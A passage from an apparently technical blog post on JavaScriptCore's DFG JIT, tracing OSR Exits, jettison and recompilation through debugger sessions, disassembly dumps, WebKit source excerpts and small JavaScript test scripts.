</span></span></code></pre></div><p>The function <code>dbg</code> will now generate an interrupt that will be caught by our debugger before the OSR Exit is triggered when <code>jitMe</code> is called in the next JS instruction. Once the breakpoint is hit, the next step is to add another breakpoint at the start of the optimised code for <code>jitMe</code>. With disassembly dumps enabled, this should be easy to find:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>Generated DFG JIT code <span style="color:#66d9ef">for</span> jitMe<span style="color:#960050;background-color:#1e0010">#</span>Dsl1pz:[<span style="color:#ae81ff">0x7fffae3c4260</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, DFGFunctionCall, <span style="color:#ae81ff">15</span>], instructions size <span style="color:#f92672">=</span> <span style="color:#ae81ff">15</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    Optimized with execution counter <span style="color:#f92672">=</span> <span style="color:#ae81ff">1005.000000</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1072.000000</span>, <span style="color:#ae81ff">5</span>
</span></span><span style="display:flex;"><span>    Code at [<span style="color:#ae81ff">0x7fffeecfe880</span>, <span style="color:#ae81ff">0x7fffeecfee00</span>)<span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe880</span><span style="color:#f92672">:</span> push <span style="color:#f92672">%</span>rbp
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe881</span><span style="color:#f92672">:</span> mov <span style="color:#f92672">%</span>rsp, <span style="color:#f92672">%</span>rbp
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe884</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x7fffae3c4260</span>, <span style="color:#f92672">%</span>r11
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe88e</span><span style="color:#f92672">:</span> mov <span style="color:#f92672">%</span>r11, <span style="color:#ae81ff">0x10</span>(<span style="color:#f92672">%</span>rbp)
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe892</span><span style="color:#f92672">:</span> lea <span style="color:#f92672">-</span><span style="color:#ae81ff">0x40</span>(<span style="color:#f92672">%</span>rbp), <span style="color:#f92672">%</span>rsi
</span></span></code></pre></div><p>Setting a breakpoint at <code>0x7fffeecfe880</code> and stepping through the instructions the following instructions are encountered:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>[Switching to <span style="color:#66d9ef">thread</span> <span style="color:#ae81ff">2</span> (Thread <span style="color:#ae81ff">0x7fffef6ed700</span> (LWP <span style="color:#ae81ff">20434</span>))](running)
</span></span><span style="display:flex;"><span><span style="color:#f92672">=</span><span style="color:#66d9ef">thread</span><span style="color:#f92672">-</span>selected,id<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;2&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">0x00007fffeecfe8e3</span> in <span style="color:#f92672">??</span> ()
</span></span><span style="display:flex;"><span><span style="color:#f92672">-</span>exec x<span style="color:#f92672">/</span><span style="color:#ae81ff">10</span>i <span style="color:#960050;background-color:#1e0010">$</span>rip
</span></span><span style="display:flex;"><span><span style="color:#f92672">=&gt;</span> <span style="color:#ae81ff">0x7fffeecfe8e3</span><span style="color:#f92672">:</span>  cmp    QWORD PTR [rbp<span style="color:#f92672">+</span><span style="color:#ae81ff">0x30</span>],r14
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffeecfe8e7</span><span style="color:#f92672">:</span>  jb     <span style="color:#ae81ff">0x7fffeecfed5d</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffeecfe8ed</span><span style="color:#f92672">:</span>  cmp    QWORD PTR [rbp<span style="color:#f92672">+</span><span style="color:#ae81ff">0x38</span>],r14
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffeecfe8f1</span><span style="color:#f92672">:</span>  jb     <span style="color:#ae81ff">0x7fffeecfed84</span>
</span></span></code></pre></div><p>At the memory address pointed to by <code>rbp+0x30</code> is the value of the first parameter passed to <code>jitMe</code> and at <code>rbp+0x38</code> lies the second parameter. <code>r14</code> contains the value <code>0xfffe000000000000</code> which is the <a href="https://github.com/WebKit/WebKit/blob/84133b2fbf1057b8b29aa849c8a458da4b706e5d/Source/JavaScriptCore/runtime/JSCJSValue.h#L413">encoding used for Integer values in JSC</a>. The <code>cmp</code> operations in the snippet above compare the values on the stack (speculated to be integers) with the integer encoding tag. If the values on the stack are less than the value in <code>r14</code> the jumps to <code>0x7fffeecfed5d</code> if speculation on the first parameter fails or <code>0x7fffeecfed5d</code> if speculation on the second parameter fails.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#f92672">-</span>exec x<span style="color:#f92672">/</span><span style="color:#ae81ff">4</span>i <span style="color:#960050;background-color:#1e0010">$</span>rip
</span></span><span style="display:flex;"><span><span style="color:#f92672">=&gt;</span> <span style="color:#ae81ff">0x7fffeecfe8e3</span><span style="color:#f92672">:</span>  cmp    QWORD PTR [rbp<span style="color:#f92672">+</span><span style="color:#ae81ff">0x30</span>],r14
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffeecfe8e7</span><span style="color:#f92672">:</span>  jb     <span style="color:#ae81ff">0x7fffeecfed5d</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffeecfe8ed</span><span style="color:#f92672">:</span>  cmp    QWORD PTR [rbp<span style="color:#f92672">+</span><span style="color:#ae81ff">0x38</span>],r14
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffeecfe8f1</span><span style="color:#f92672">:</span>  jb     <span style="color:#ae81ff">0x7fffeecfed84</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">-</span>exec x<span style="color:#f92672">/</span>gx <span style="color:#960050;background-color:#1e0010">$</span>rbp<span style="color:#f92672">+</span><span style="color:#ae81ff">0x30</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">0x7fffffffca10</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x00007fffae3fc5a0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">-</span>exec p<span style="color:#f92672">/</span>x <span style="color:#960050;background-color:#1e0010">$</span>r14
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">2</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0xfffe000000000000</span>
</span></span></code></pre></div><p>Execution continues up taking the jump <code>0x7fffeecfed5d</code> which is a trampoline to the OSRExit thunk at <code>0x0x7fffaecffc20</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#ae81ff">0x00007fffeecfed5d</span> in <span style="color:#f92672">??</span> ()
</span></span><span style="display:flex;"><span><span style="color:#f92672">-</span>exec x<span style="color:#f92672">/</span><span style="color:#ae81ff">10</span>i <span style="color:#960050;background-color:#1e0010">$</span>rip
</span></span><span style="display:flex;"><span><span style="color:#f92672">=&gt;</span> <span style="color:#ae81ff">0x7fffeecfed5d</span><span style="color:#f92672">:</span>  test   bpl,<span style="color:#ae81ff">0x7</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffeecfed78</span><span style="color:#f92672">:</span>  mov    DWORD PTR [r11],<span style="color:#ae81ff">0x0</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffeecfed7f</span><span style="color:#f92672">:</span>  jmp    <span style="color:#ae81ff">0x7fffaecffc20</span>
</span></span></code></pre></div><p>The OSRExit thunk ends up calling <a href="https://github.com/WebKit/WebKit/blob/2263d8633a5e937593a2b4fefd3ff22ebd659f90/Source/JavaScriptCore/dfg/DFGOSRExit.cpp#L143"><code>operationCompileOSRExit</code></a> which begins the process of compiling an OSR Exit:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> JIT_OPERATION <span style="color:#a6e22e">operationCompileOSRExit</span>(CallFrame<span style="color:#f92672">*</span> callFrame)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">uint32_t</span> exitIndex <span style="color:#f92672">=</span> vm.osrExitIndex;
</span></span><span style="display:flex;"><span>    OSRExit<span style="color:#f92672">&amp;</span> exit <span style="color:#f92672">=</span> codeBlock<span style="color:#f92672">-&gt;</span>jitCode()<span style="color:#f92672">-&gt;</span>dfg()<span style="color:#f92672">-&gt;</span>osrExit[exitIndex];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Compute the value recoveries.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    Operands<span style="color:#f92672">&lt;</span>ValueRecovery<span style="color:#f92672">&gt;</span> operands;
</span></span><span style="display:flex;"><span>    codeBlock<span style="color:#f92672">-&gt;</span>jitCode()<span style="color:#f92672">-&gt;</span>dfg()<span style="color:#f92672">-&gt;</span>variableEventStream.reconstruct(codeBlock, exit.m_codeOrigin, codeBlock<span style="color:#f92672">-&gt;</span>jitCode()<span style="color:#f92672">-&gt;</span>dfg()<span style="color:#f92672">-&gt;</span>minifiedDFG, exit.m_streamIndex, operands);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    SpeculationRecovery<span style="color:#f92672">*</span> recovery <span style="color:#f92672">=</span> <span style="color:#66d9ef">nullptr</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (exit.m_recoveryIndex <span style="color:#f92672">!=</span> UINT_MAX)
</span></span><span style="display:flex;"><span>        recovery <span style="color:#f92672">=</span> <span style="color:#f92672">&amp;</span>codeBlock<span style="color:#f92672">-&gt;</span>jitCode()<span style="color:#f92672">-&gt;</span>dfg()<span style="color:#f92672">-&gt;</span>speculationRecovery[exit.m_recoveryIndex];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        CCallHelpers jit(codeBlock);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>        jit.addPtr(
</span></span><span style="display:flex;"><span>            CCallHelpers<span style="color:#f92672">::</span>TrustedImm32(codeBlock<span style="color:#f92672">-&gt;</span>stackPointerOffset() <span style="color:#f92672">*</span> <span style="color:#66d9ef">sizeof</span>(Register)),
</span></span><span style="display:flex;"><span>            GPRInfo<span style="color:#f92672">::</span>callFrameRegister, CCallHelpers<span style="color:#f92672">::</span>stackPointerRegister);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>        OSRExit<span style="color:#f92672">::</span>compileExit(jit, vm, exit, operands, recovery);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        LinkBuffer patchBuffer(jit, codeBlock);
</span></span><span style="display:flex;"><span>        exit.m_code <span style="color:#f92672">=</span> FINALIZE_CODE_IF(
</span></span><span style="display:flex;"><span>            shouldDumpDisassembly() <span style="color:#f92672">||</span> Options<span style="color:#f92672">::</span>verboseOSR() <span style="color:#f92672">||</span> Options<span style="color:#f92672">::</span>verboseDFGOSRExit(),
</span></span><span style="display:flex;"><span>            patchBuffer, OSRExitPtrTag,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;DFG OSR exit #%u (D@%u, %s, %s) from %s, with operands = %s&#34;</span>,
</span></span><span style="display:flex;"><span>                exitIndex, exit.m_dfgNodeIndex, toCString(exit.m_codeOrigin).data(),
</span></span><span style="display:flex;"><span>                exitKindToString(exit.m_kind), toCString(<span style="color:#f92672">*</span>codeBlock).data(),
</span></span><span style="display:flex;"><span>                toCString(ignoringContext<span style="color:#f92672">&lt;</span>DumpContext<span style="color:#f92672">&gt;</span>(operands)).data());
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    MacroAssembler<span style="color:#f92672">::</span>repatchJump(exit.codeLocationForRepatch(), CodeLocationLabel<span style="color:#f92672">&lt;</span>OSRExitPtrTag<span style="color:#f92672">&gt;</span>(exit.m_code.code()));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    vm.osrExitJumpDestination <span style="color:#f92672">=</span> exit.m_code.code().executableAddress();
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This function performs three main actions:</p>
<ol>
<li>It recovers register/operand values to <a href="https://github.com/WebKit/WebKit/blob/2263d8633a5e937593a2b4fefd3ff22ebd659f90/Source/JavaScriptCore/dfg/DFGOSRExit.cpp#L173">reconstruct the call frame</a> for the Baseline JIT.</li>
<li>Generates <a href="https://github.com/WebKit/WebKit/blob/2263d8633a5e937593a2b4fefd3ff22ebd659f90/Source/JavaScriptCore/dfg/DFGOSRExit.cpp#L204">machine code for the OSR Exit</a>.</li>
<li>Sets a <a href="https://github.com/WebKit/WebKit/blob/2263d8633a5e937593a2b4fefd3ff22ebd659f90/Source/JavaScriptCore/dfg/DFGOSRExit.cpp#L218">OSR Exit jump destination</a>, which is the start of the machine code generated in #2.</li>
</ol>
<p>One can add the <code>--verboseDFGOSRExit=true</code> flag to launch.json or the command line would print the generated OSR Exit code to <em>stdout</em>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>Generated JIT code <span style="color:#66d9ef">for</span> DFG OSR exit <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span> (D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">0</span>, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, BadType) from jitMe<span style="color:#960050;background-color:#1e0010">#</span>Dsl1pz:[<span style="color:#ae81ff">0x7fffae3c4260</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, DFGFunctionCall, <span style="color:#ae81ff">15</span> (DidTryToEnterInLoop)], with operands <span style="color:#f92672">=</span> arg2:<span style="color:#f92672">*</span>arg2 arg1:<span style="color:#f92672">*</span>arg1 arg0:<span style="color:#f92672">*</span><span style="color:#66d9ef">this</span> loc0:<span style="color:#f92672">*</span>loc0 loc1:<span style="color:#f92672">*</span>loc1 loc2:<span style="color:#f92672">*</span>loc2 loc3:<span style="color:#f92672">*</span>loc3 loc4:<span style="color:#f92672">*</span>loc4 loc5:<span style="color:#f92672">*</span>loc5 loc6:<span style="color:#f92672">*</span>loc6 loc7:<span style="color:#f92672">*</span>loc7:
</span></span><span style="display:flex;"><span>    Code at [<span style="color:#ae81ff">0x7fffeecfe3a0</span>, <span style="color:#ae81ff">0x7fffeecfe880</span>)<span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>      <span style="color:#ae81ff">0x7fffeecfe3a0</span><span style="color:#f92672">:</span> lea <span style="color:#f92672">-</span><span style="color:#ae81ff">0x40</span>(<span style="color:#f92672">%</span>rbp), <span style="color:#f92672">%</span>rsp
</span></span><span style="display:flex;"><span>      <span style="color:#ae81ff">0x7fffeecfe3a4</span><span style="color:#f92672">:</span> test <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x7</span>, <span style="color:#f92672">%</span>bpl
</span></span><span style="display:flex;"><span>      <span style="color:#ae81ff">0x7fffeecfe3a8</span><span style="color:#f92672">:</span> jz <span style="color:#ae81ff">0x7fffeecfe3b5</span>
</span></span><span style="display:flex;"><span>      <span style="color:#ae81ff">0x7fffeecfe3ae</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0xa</span>, <span style="color:#f92672">%</span>r11d
</span></span><span style="display:flex;"><span>      <span style="color:#ae81ff">0x7fffeecfe3b4</span><span style="color:#f92672">:</span> int3 
</span></span><span style="display:flex;"><span>      <span style="color:#ae81ff">0x7fffeecfe3b5</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x7fffeedfac28</span>, <span style="color:#f92672">%</span>r11
</span></span><span style="display:flex;"><span>      <span style="color:#ae81ff">0x7fffeecfe3bf</span><span style="color:#f92672">:</span> inc (<span style="color:#f92672">%</span>r11)
</span></span><span style="display:flex;"><span>      <span style="color:#ae81ff">0x7fffeecfe3c2</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0xfffe000000000000</span>, <span style="color:#f92672">%</span>r11
</span></span><span style="display:flex;"><span>      <span style="color:#ae81ff">0x7fffeecfe3cc</span><span style="color:#f92672">:</span> cmp <span style="color:#f92672">%</span>r11, <span style="color:#f92672">%</span>r14
</span></span><span style="display:flex;"><span>      <span style="color:#ae81ff">0x7fffeecfe3cf</span><span style="color:#f92672">:</span> jz <span style="color:#ae81ff">0x7fffeecfe3dd</span>
</span></span><span style="display:flex;"><span>      <span style="color:#75715e">//... truncated for brevity
</span></span></span></code></pre></div><p>Execution now jumps to <code>0x7fffeecfe3a0</code> which is the start of the JIT code for OSR Exit at the end of which execution of the function call completes in the Baseline JIT. A useful JSC command line flag to that let&rsquo;s trace OSR Exits is <code>--printEachOSRExit</code>. Adding this flag prints details of each OSR Exit that occurs from optimised code. An example of this from the test script above is shown below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>Speculation failure in jitMe<span style="color:#960050;background-color:#1e0010">#</span>Dsl1pz:[<span style="color:#ae81ff">0x7fffae3c4260</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, DFGFunctionCall, <span style="color:#ae81ff">15</span> (DidTryToEnterInLoop)] <span style="color:#960050;background-color:#1e0010">@</span> exit <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span> (bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, BadType) with executeCounter <span style="color:#f92672">=</span> <span style="color:#ae81ff">0.000000</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1072.000000</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">1000</span>, reoptimizationRetryCounter <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>, optimizationDelayCounter <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>, osrExitCounter <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>    GPRs at time of exit: rax:<span style="color:#ae81ff">0x7fffeecfe880</span> rsi:<span style="color:#ae81ff">0x7fffffffc9a0</span> rdx:(nil) rcx:<span style="color:#ae81ff">0x4</span> r8:(nil) r10:<span style="color:#ae81ff">0x7ffff5e1d32b</span> rdi:<span style="color:#ae81ff">0x7fffffffc970</span> r9:<span style="color:#ae81ff">0x7fffffffc9f0</span> rbx:<span style="color:#ae81ff">0xeeda7a00</span> r12:<span style="color:#ae81ff">0x7fffeeda0250</span> r13:<span style="color:#ae81ff">0x7fffeedabe10</span>
</span></span><span style="display:flex;"><span>    FPRs at time of exit: xmm0:<span style="color:#ae81ff">41</span>d800b5832e41dd:<span style="color:#ae81ff">1610798604.722770</span> xmm1:<span style="color:#ae81ff">41</span>d800b583000000:<span style="color:#ae81ff">1610798604.000000</span> xmm2:<span style="color:#ae81ff">412e848000000000</span><span style="color:#f92672">:</span><span style="color:#ae81ff">1000000.000000</span> xmm3:<span style="color:#ae81ff">3630633030646561</span><span style="color:#f92672">:</span><span style="color:#ae81ff">0.000000</span> xmm4:<span style="color:#ae81ff">2020202020202020</span><span style="color:#f92672">:</span><span style="color:#ae81ff">0.000000</span> xmm5:<span style="color:#ae81ff">3365616666663778</span><span style="color:#f92672">:</span><span style="color:#ae81ff">0.000000</span>
</span></span></code></pre></div><p>The snippet above indicates the reason for OSR Exit (in this case <code>BadType</code>), the bytecode at which the OSR Exit occurred (exit at <code>#0</code> to <code>bc#0</code>) and the number of times this OSR Exit has occurred from this codeblock (indicated by the counter <code>osrExitCounter</code>). If the <code>osrExitCounter</code> exceed a certain value, the optimised code is <em>jettisoned</em> and future calls to the function are directed to the Baseline JIT and in some cases to the LLInt. The next section will explore how <em>jettison</em> occurs and how this affects recompilation.</p>
<h2 id="jettison-and-recompilation">Jettison and Recompilation</h2>
<p>With each OSR Exit from an optimised CodeBlock, the OSR Exit counter for that CodeBlock is incremented. Once a threshold on number of exits has been breached, the optimized code is <em>jettisoned</em> and all future calls to the CodeBlock are executed in the Baseline JIT or the LLInt. When a function is <em>jettisoned</em>, the optimised code is discarded and a recompilation counter is incremented. In addition, the threshold values to tier up into the DFG from the Baseline JIT are now updated to a much larger value to allow bytecodes to execute longer in the lower tier which in turn allows the lower tier to gather more accurate profiling data before optimising the function again.</p>
<p>Let&rsquo;s examine this by updating our test script as shown below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">jitMe</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">y</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Optimise jitMe using DFG
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">y</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">1000</span>; <span style="color:#a6e22e">y</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">jitMe</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Trigger OSR Exits
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">for</span>(<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">y</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">100</span>; <span style="color:#a6e22e">y</span><span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">jitMe</span>(<span style="color:#e6db74">&#34;a&#34;</span>,<span style="color:#e6db74">&#34;b&#34;</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Trigger jettison
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#a6e22e">jitMe</span>(<span style="color:#e6db74">&#34;a&#34;</span>,<span style="color:#e6db74">&#34;b&#34;</span>)
</span></span></code></pre></div><p>The program above first optimises <code>jitMe</code> using the DFG, which is optimised to handle integer values. It then triggers several OSR Exits by supplying string values to <code>jitMe</code> instead of integers. This increments the OSR Exit counter but not enough to cause jettison. The final call to <code>jitMe</code> triggers OSR Exit and jettison. To understand how this is constructed one needs to revisit <a href="https://github.com/WebKit/WebKit/blob/107420fec454b4ab2d00238cdc7d94966cbc8712/Source/JavaScriptCore/dfg/DFGOSRExit.cpp#L204"><code>OSRExit::compileExit</code></a> which is invoked when compiling the OSR Exit code that we&rsquo;ve seen in th previous section. Within the function <code>compileExit</code> is a call to <a href="https://github.com/WebKit/WebKit/blob/107420fec454b4ab2d00238cdc7d94966cbc8712/Source/JavaScriptCore/dfg/DFGOSRExit.cpp#L871"><code>handleExitCounts</code></a> which as the name suggests is responsible for counting OSR exits and triggering reoptimisation. The function <code>handleExitCounts</code> is defined in <a href="https://github.com/WebKit/WebKit/blob/107420fec454b4ab2d00238cdc7d94966cbc8712/Source/JavaScriptCore/dfg/DFGOSRExitCompilerCommon.cpp#L41">dfg/DFGOSRExitCompilerCommon.cpp</a> and a truncated version of this function is listed below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">handleExitCounts</span>(VM<span style="color:#f92672">&amp;</span> vm, CCallHelpers<span style="color:#f92672">&amp;</span> jit, <span style="color:#66d9ef">const</span> OSRExitBase<span style="color:#f92672">&amp;</span> exit)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    
</span></span><span style="display:flex;"><span>    jit.load32(AssemblyHelpers<span style="color:#f92672">::</span>Address(GPRInfo<span style="color:#f92672">::</span>regT3, CodeBlock<span style="color:#f92672">::</span>offsetOfOSRExitCounter()), GPRInfo<span style="color:#f92672">::</span>regT2);
</span></span><span style="display:flex;"><span>    jit.add32(AssemblyHelpers<span style="color:#f92672">::</span>TrustedImm32(<span style="color:#ae81ff">1</span>), GPRInfo<span style="color:#f92672">::</span>regT2);
</span></span><span style="display:flex;"><span>    jit.store32(GPRInfo<span style="color:#f92672">::</span>regT2, AssemblyHelpers<span style="color:#f92672">::</span>Address(GPRInfo<span style="color:#f92672">::</span>regT3, CodeBlock<span style="color:#f92672">::</span>offsetOfOSRExitCounter()));
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    jit.move(
</span></span><span style="display:flex;"><span>        AssemblyHelpers<span style="color:#f92672">::</span>TrustedImm32(jit.codeBlock()<span style="color:#f92672">-&gt;</span>exitCountThresholdForReoptimization()),
</span></span><span style="display:flex;"><span>        GPRInfo<span style="color:#f92672">::</span>regT1);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    tooFewFails <span style="color:#f92672">=</span> jit.branch32(AssemblyHelpers<span style="color:#f92672">::</span>BelowOrEqual, GPRInfo<span style="color:#f92672">::</span>regT2, GPRInfo<span style="color:#f92672">::</span>regT1);
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    jit.setupArguments<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">decltype</span>(operationTriggerReoptimizationNow)<span style="color:#f92672">&gt;</span>(GPRInfo<span style="color:#f92672">::</span>regT0, GPRInfo<span style="color:#f92672">::</span>regT3, AssemblyHelpers<span style="color:#f92672">::</span>TrustedImmPtr(<span style="color:#f92672">&amp;</span>exit));
</span></span><span style="display:flex;"><span>    jit.prepareCallOperation(vm);
</span></span><span style="display:flex;"><span>    jit.move(AssemblyHelpers<span style="color:#f92672">::</span>TrustedImmPtr(tagCFunction<span style="color:#f92672">&lt;</span>OperationPtrTag<span style="color:#f92672">&gt;</span>(operationTriggerReoptimizationNow)), GPRInfo<span style="color:#f92672">::</span>nonArgGPR0);
</span></span><span style="display:flex;"><span>    jit.call(GPRInfo<span style="color:#f92672">::</span>nonArgGPR0, OperationPtrTag);
